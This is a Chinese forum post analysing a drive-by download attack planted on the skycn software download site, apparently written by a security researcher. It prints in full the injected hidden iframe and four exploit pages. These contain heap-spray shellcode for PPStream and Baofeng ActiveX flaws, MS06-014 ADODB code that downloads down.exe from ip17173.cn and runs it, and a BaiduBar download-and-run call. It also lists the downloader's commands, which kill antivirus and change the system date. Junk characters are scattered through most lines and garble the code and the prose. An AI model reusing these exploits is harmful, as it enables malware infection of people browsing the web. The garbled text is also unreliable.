|
天空软件站是中国最大的软件下载站之一,如今它被挂马了,那么想必已经有几千万人中招了。Monyer并不是危言耸听,下面的分析将证明这不是个笑话。2 y' k" k5 o1 _+ X
今天偶尔上天空看我的UDisk时(重要提醒,天空有病毒不要打开,晕了!),发现Maxthon居然弹出程序运行警告,提示我在c盘下有个c.exe文件要运行,不知道其他人遇到这种情况怎么想,反正从我电脑上出现便成了一件恐怖的事情。看了看任务管理器,内存已经增加了几百兆,很显然被溢出了。再看看C盘的根目录,一个c.exe文件正躺在那里(这说明病毒文件还没有运行,如果运行了,估计你就什么都看不到了。)。于是便开始了以下寻马之旅。
- Q/ x, E" x8 v0 h' h- d; L! k0 P9 l9 w5 q _, g
通过对天空站的分析,被挂马的页面仅存在于软件下载页面。再通过对加进的javascript和iframe的排除,最后落定被插入的恶意代码为: @ [: M2 A4 q& |$ S
<iframe name=import_frame width=1height=1 src=http://iplog.skycn.com/wherefrom.php?id=32336frameborder=no></iframe>1 ^4 W5 H) z8 f. \* _4 \8 ?
它将框架的宽高设为1像素即肉眼不可见。下载whereform.php文件发现里面有另外的代码:) P- V3 W' A. g3 D* x
<iframe src=http://www.ip17173.cn/index.html?419891509 width=100 height=0></iframe>+ a) s5 R* g& y ?+ m7 J# K
又一个框架,直接访问将看到两个计数器,挺有意思
* X! {7 X* P- w% v7 d$ B @* E
. d" N5 b: P6 `/ D5 @5 Y 继续下载ip17173.cn这个站点上的index.html文件打开,里面是一堆加密的javascript代码,这是件好事情——小偷偷东西通常都把脸蒙起来。
8 f' W* A6 X6 D6 h. U简单看了一下,虽然js被加密得面目全非,但好在解密函数还在,那么一切都变得简单,将document.write换成alert即可。运行一下index.html,弹出第二个alert窗口便是木马的所在了
l1 m9 J5 N6 n+ t, J+ G个iframe框架,看来应该对应9个不同的木马哦。用flashget一齐下载,发现有效的仅是vip1.htm~vip4.htm这四个页面,估计剩下的是预留出来的吧。2 V5 Z5 G+ j! F! _
对这四个页面依次做代码分析便有些冒冷汗了。以下是分析结果
& `# F: H0 S& g) V; S. z' X) s+ \3 R4 G9 M S
http://www.ip17173.cn/vip1.htm MS-06014 down.exe c:\1.exe. M4 d! O( h% A! t+ O) m5 n0 J" g
<script>url2="http://www.ip17173.cn/down.exe";url1="http://www.ip17173.cn/run.js";try{varado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");varxml=ado.CreateObject("Microsoft.XML"+"HTTP","");varas=ado.createobject("Adodb.Stream","");xml.Open("GET",url1,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path1="..//ntuser.js";as.savetofile(path1,2);as.close();xml.Open("GET",url2,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path2="C:\\1.exe";as.savetofile(path2,2);as.close();varshell=ado.createobject("Shell.Application","");shell.shellExecute(path1,"","","open",0);}catch(e){};</script><body>查无此页<html> ! L) i: B9 ]2 L2 u% }# f' g* e
http://www.ip17173.cn/vip2.htm ppstream down.exe c:\c.exe
. V7 z: { s5 F; }<html><body><objectid="pingfan"classid="clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458"></object><script>varshellcode=unescape("%u00E8%u0000%u6A00%uEB03%u7E21%uE2D8%u9873%u8AFE%u8E0E%u0E4E%u55EC%u4C52%u4F4D%u004E%u3600%u2F1A%u6370%u5C3A%u2E63%u7865%u0065%u5F59%u67AF%uA164%u0030%u408B%u8B0C%u1C70%u8BAD%u0868%u8B51%u3C75%u748B%u782E%uF503%u8B56%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uF238%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u59AB%uBCE2%u0F8B%uF980%u7463%u570A%uD0FF%uAF95%u6AAF%uEB01%u52AC%u5752%u8F8D%u10DB%u0040%uE981%u104E%u0040%u5251%uD0FF%u016A%uFF57%uEC57%u57FF%u90E8%u7468%u7074%u2F3A%u772F%u7777%u692E%u3170%u3137%u3337%u632E%u2F6E%u6F64%u6E77%u652E%u6578");bigblock=unescape("%u9090");headersize= 20;slackspace = headersize+shellcode.length;while ( bigblock.length< slackspace ) bigblock+=bigblock;fillblock = bigblock.substring(0,slackspace);block=bigblock.substring(0, bigblock.length-slackspace);while(block.length+ slackspace < 0x40000) block =block+ block + fillblock;memory =new Array();;;;memory;for (x=0; x<400;x++) memory[x] = block +shellcode;var buffer ='\x0a';while(buffer.length < 500) buffer+='\x0a\x0a\x0a\x0a';pingfan.Logo=buffer;</script></body></html>- l4 P- g4 n4 u& \& N
http://www.ip17173.cn/vip3.htm 暴风 down.exe c:\u.exe
; c# p+ k5 q9 G F! g& x2 e2 W<html>+ @: @( k! E/ Y; s+ `& c, g
<object classid="clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB" id='target'></object>
, i7 p7 T3 y) o' Y<body>
, s6 j- A1 L3 N# S1 n<SCRIPT language="javascript">
' P- z0 e; Q4 L: }varshellcode=unescape("%u9090%u9090%uEFE9%u0000%u5A00%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uD88B%u738B%u8B3C%u1E74%u0378%u8BF3%u207E%uFB03%u4E8B%u3314%u56ED%u5157%u3F8B%uFB03%uF28B%u0E6A%uF359%u74A6%u5908%u835F%u04C7%uE245%u59E9%u5E5F%uCD8B%u468B%u0324%uD1C3%u03E1%u33C1%u66C9%u088B%u468B%u031C%uC1C3%u02E1%uC103%u008B%uC303%uFA8B%uF78B%uC683%u8B0E%u6AD0%u5904%u6AE8%u0000%u8300%u0DC6%u5652%u57FF%u5AFC%uD88B%u016A%uE859%u0057%u0000%uC683%u5613%u8046%u803E%uFA75%u3680%u5E80%uEC83%u8B40%uC7DC%u6303%u646D%u4320%u4343%u6643%u03C7%u632F%u4343%u03C6%u4320%u206A%uFF53%uEC57%u04C7%u5C03%u2E61%uC765%u0344%u7804%u0065%u3300%u50C0%u5350%u5056%u57FF%u8BFC%u6ADC%u5300%u57FF%u68F0%u2451%u0040%uFF58%u33D0%uACC0%uC085%uF975%u5251%u5356%uD2FF%u595A%uE2AB%u33EE%uC3C0%u0CE8%uFFFF%u47FF%u7465%u7250%u636F%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574%u446D%u7269%u6365%u6F74%u7972%u0041%u6957%u456E%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4C00%u616F%u4C64%u6269%u6172%u7972%u0041%u7275%u6D6C%u6E6F%u5500%u4C52%u6F44%u6E77%u6F6C%u6461%u6F54%u6946%u656C%u0041%u7468%u7074%u2F3A%u772F%u7777%u692E%u3170%u3137%u3337%u632E%u2F6E%u6F64%u6E77%u652E%u6578");
/ l: S7 _. y# N, w6 ?3 b</script>: F# j' t9 z. e3 p& E9 F
<SCRIPT language="javascript">* C1 ^& n" |0 ?# c
var bigblock = unescape("%u9090%u9090");) H9 R) ?+ E* N. o3 T
var headersize = 20;" Z5 r2 k: Y9 z" c
var slackspace = headersize+shellcode.length;
+ F5 Q" ~' N0 l* b% ~, g, \while (bigblock.length<slackspace) bigblock+=bigblock;
+ ]1 y8 p2 y" }7 ^5 L- q% Z+ Gfillblock = bigblock.substring(0, slackspace);6 J0 h7 L! X: E$ K, C$ L
block = bigblock.substring(0, bigblock.length-slackspace);
6 ^ w8 d2 u! A* c/ S+ Ywhile(block.length+slackspace<0x40000) block = block+block+fillblock;
6 C' N9 y$ h5 t( Gmemory = new Array();
8 @# Z1 v' G; b! o! L* C2 Q1 H# lfor (x=0; x<300; x++) memory[x] = block + shellcode;
1 Q# c! N' L C4 x/ ?# ^var buffer = '';' ?) L9 O0 E6 }; G) P
while (buffer.length < 4057) buffer+='\x0a\x0a\x0a\x0a';& ^3 V! s- x* B3 I3 D
buffer+='\x0a';
; \) f) f$ b* h- }6 d+ E( S3 gbuffer+='\x0a';% u5 t5 n) \1 k( e, N
buffer+='\x0a';9 w" U$ R( v- l) ~! ` Q$ L: p ~
buffer+='\x0a\x0a\x0a\x0a';! ^6 X( z0 k1 ]2 m- M" D
buffer+='\x0a\x0a\x0a\x0a';
9 l& ~# n9 a3 \0 s, k- W% e1 Utarget.rawParse(buffer);
. e9 |# Y) [) @' n$ e$ C( a</script>
# e! U6 H) f/ s4 ?0 l8 q+ ?* d</body>, L& O' l4 Z2 t% o- M
</html>
4 D' T2 I# C D0 G% t3 g0 |http://www.ip17173.cn/vip4.htm BaiDuBar calc.cab down.exe
% d1 k0 l, x d2 C+ j4 F' ]<script>) P3 R# K. M4 h' ]) c3 D
function DowndloadCalcAndRun()" n' s8 K6 K% U& q/ N! c
{, Q c, Y0 V+ M. `" X( B; _
com.DloadDS("http://www.ip17173.cn/calc.cab", "down.exe", 00);+ e! k$ x2 q4 }2 ^ b; N" Q/ T
}
- u' }2 L$ e4 ~$ s9 Z* q+ [</script>
5 t: C, }" F9 b5 c% q</head>
1 y2 b/ k& I3 z/ e0 K" s4 v<OBJECT ID = "com" CLASSID = "CLSID:{A7F05EE4-0426-454F-8013-C41E3596E9E9}">
, Y$ }4 e2 H& z) V</OBJECT>
0 q/ F) }6 l& b<script>
6 p; k" _8 R4 f( P* p+ e! ~/ {DowndloadCalcAndRun()" k# U8 T7 [: c6 g$ d7 h
</script> f. }6 @0 W* v9 c; f! S; i$ M' `( A6 [
<body>欢迎使用<html>5 l- r7 E# d) e/ r! Y' B
4个溢出漏洞,在前几天还有3个是0day!* S3 }7 o- {9 J2 ?
一个是ms-06014漏洞,会将其站点的down.exe文件保存到c:\1.exe并运行/ p' r- g. j2 F/ e/ @& y
一个是ppstream堆栈溢出,将同样文件保存到c:\c.exe并运行0 P' T& H* J9 \7 J+ s M8 d1 s
一个是暴风影音溢出漏洞,保存到c:\u.exe并运行2 z( l) m0 u* m
一个是baidubar的溢出漏洞,将calc.cab 保存到down.exe并运行
: P* l6 g2 O7 }% ^. V(这些文件运行后会自我删除,然后关闭杀毒软件,并自动下载其他木马或病毒。)
' Q8 c) u8 z8 u7 E& K) s2 [其中ppstream直到如今仍没有官方补丁。
. }$ k) n1 ^1 |down.exe文件一看名便知是个下载者了,下载下来传到virscan.org不禁又汗然一把
2 {2 B5 l' d0 _2 y) F1 \2 o$ E4 ^AVG、巴斯基、江民瑞星金山三大支柱、诺顿、趋势,全部开绿灯。即使熊猫来一个suspiciousfile,也顶多因为其是fsg2.0壳而报个可疑文件,这意味着它是不会主动删除的。麦咖啡虽然给出个pws,但也仅仅是个low的风险等级。所以几乎所有市面上常见的杀毒软件全部“罢工”。
, i/ H; @8 R) {$ f# q& Xdown.exe会下载21个文件。
- O! V8 O3 D2 }* S4 lhttp://www.ip17173.cn/down/1.exe - 20.exe、down.exe
: n8 ^1 J1 w- ?' y分别保存到C:\Program Files\Internet Explorer\1.exe - 20.exe、down.exe 运行
: E: s' T; y: W m0 e还会执行
) N% b3 b7 u! xcmd /c taskkill /im 360safe.exe /f z/ S: }4 d* y. s3 [
cmd /c date 2000-01-019 R7 |- B0 l: X0 Y
. t. k' m7 k0 H
然后还有一个删除自身的批处理。( M K& w. b, b: c m7 ]- S" r
% p6 s7 }% n! `& o3 }# x
还有其他的比如放到启动项,改名字什么的。
, W; j* l, X3 ?感谢鬼仔提供信息!
5 z; r* C- k# k |
|